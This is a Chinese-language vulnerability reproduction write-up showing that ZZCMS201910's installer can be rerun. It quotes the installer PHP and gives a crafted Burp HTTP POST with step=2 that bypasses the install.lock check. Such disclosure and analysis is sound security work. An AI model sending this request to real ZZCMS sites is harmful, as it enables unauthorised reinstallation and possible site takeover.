漏洞对象:ZZCMS201910

漏洞文件:zzcms/install/index.php

漏洞原因:未能对POST传递的参数做过滤,使得通过修改Http请求方式和POST数据来绕过安装验证

漏洞复现:

  1. 安装完zzcms后,再次访问zzcms/install/index.php,发现”安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件

  2. 尝试用PHPSTORM搜索这句话出现的位置,经过全局搜索后发现这句话出现于/install/step_1.php

    <?php
    if(file_exists("install.lock")){
    echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
    }else{
    ?>
    <div class="body">
    <div class="licence">
    <div style='text-align:center;font-size:14px;font-weight:bold'>授权协议</div>
    版权所有(c)2006-2013,郑州市创美时信息技术有限公司保留所有权利。
    <p>感谢您选择 zzcms网站管理系统。</p>

    <p>郑州市创美时信息技术有限公司为zzcms产品的开发商,依法独立拥有zzcms产品著作权。公司网址为:<a href="http://www.zzcms.net">http://www.zzcms.net</a>。</p>
    <p>zzcms著作权已在中华人民共和国国家版权局注册,著作权受到法律和国际公约保护。使用者:无论个人或组织、盈利与否、用途如何(包括以学习和研究为目的),均需仔细阅读本协议,在理解、同意、并遵守本协议的全部条款后,方可开始使用zzcms软件。
    </p>
    <p>一 协议许可的权利 </p>
    <ol>
    <li>企业用户(泛指非自然人的团体,如企业、协会、政府部门等)必须购买软件授权后方可正式建站使用,个人用户可根据自己的实际情况选择是否购买授权及必要的技术支持。
    </li>

    分析后发现代码通过file_exists()函数来判断install.lock文件是否存在。因我已经安装过了,所以可得出if中的条件为真,故输出“已经安装”的句子;如果为假就会输出初始安装时所展现的条例。我猜测可能用户在进行初始化安装时,调用了step_1.php文件对安装操作进行验证。

  3. 审计/install/index.php的代码

    <?php
    switch($step) {
    case '1'://协议
    include 'step_'.$step.'.php';
    break;
    case '2'://环境
    $pass = true;
    $PHP_VERSION = PHP_VERSION;
    if(version_compare($PHP_VERSION, '4.3.0', '<')) {
    $php_pass = $pass = false;
    } else {
    $php_pass = true;
    }
    $PHP_MYSQL = '';
    if(extension_loaded('mysql')) {
    $PHP_MYSQL = '支持';
    $mysql_pass = true;
    } else {
    $PHP_MYSQL = '不支持';
    $mysql_pass = $pass = false;
    }

    这段代码很引人注目,当$step==1时,就会将step_1.php包含进来;如果$step==2时,就会进行初始化安装的第二步操作。如果可以控制$step的话,那就可以控制安装的步骤从而绕过安装验证。

  4. 通过代码审计找到$step的定义

    $step = isset($_POST['step']) ? $_POST['step'] : 1;

    分析后发现该语句结合三目运算对$step进行赋值:利用isset()函数来判断$step是否被赋值。如果$step被赋值,则$step就为该值;如果$step为未被赋值,则$step=1。目的是绕过安装的验证,故想办法让$step=2

  5. 用BP抓包,对请求包内容进行修改(注:请求方式为POST)

    POST /install/index.php? HTTP/1.1
    Host: www.zzcms.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: __51cke__=; PHPSESSID=r6r6n8af4br5flh337p0p45tj0; __tins__713776=%7B%22sid%22%3A%201641815666919%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201641817732738%7D; __51laig__=3
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0

    step=2
  6. 修改完后发送请求包,查看网页,发现已经可以重复安装!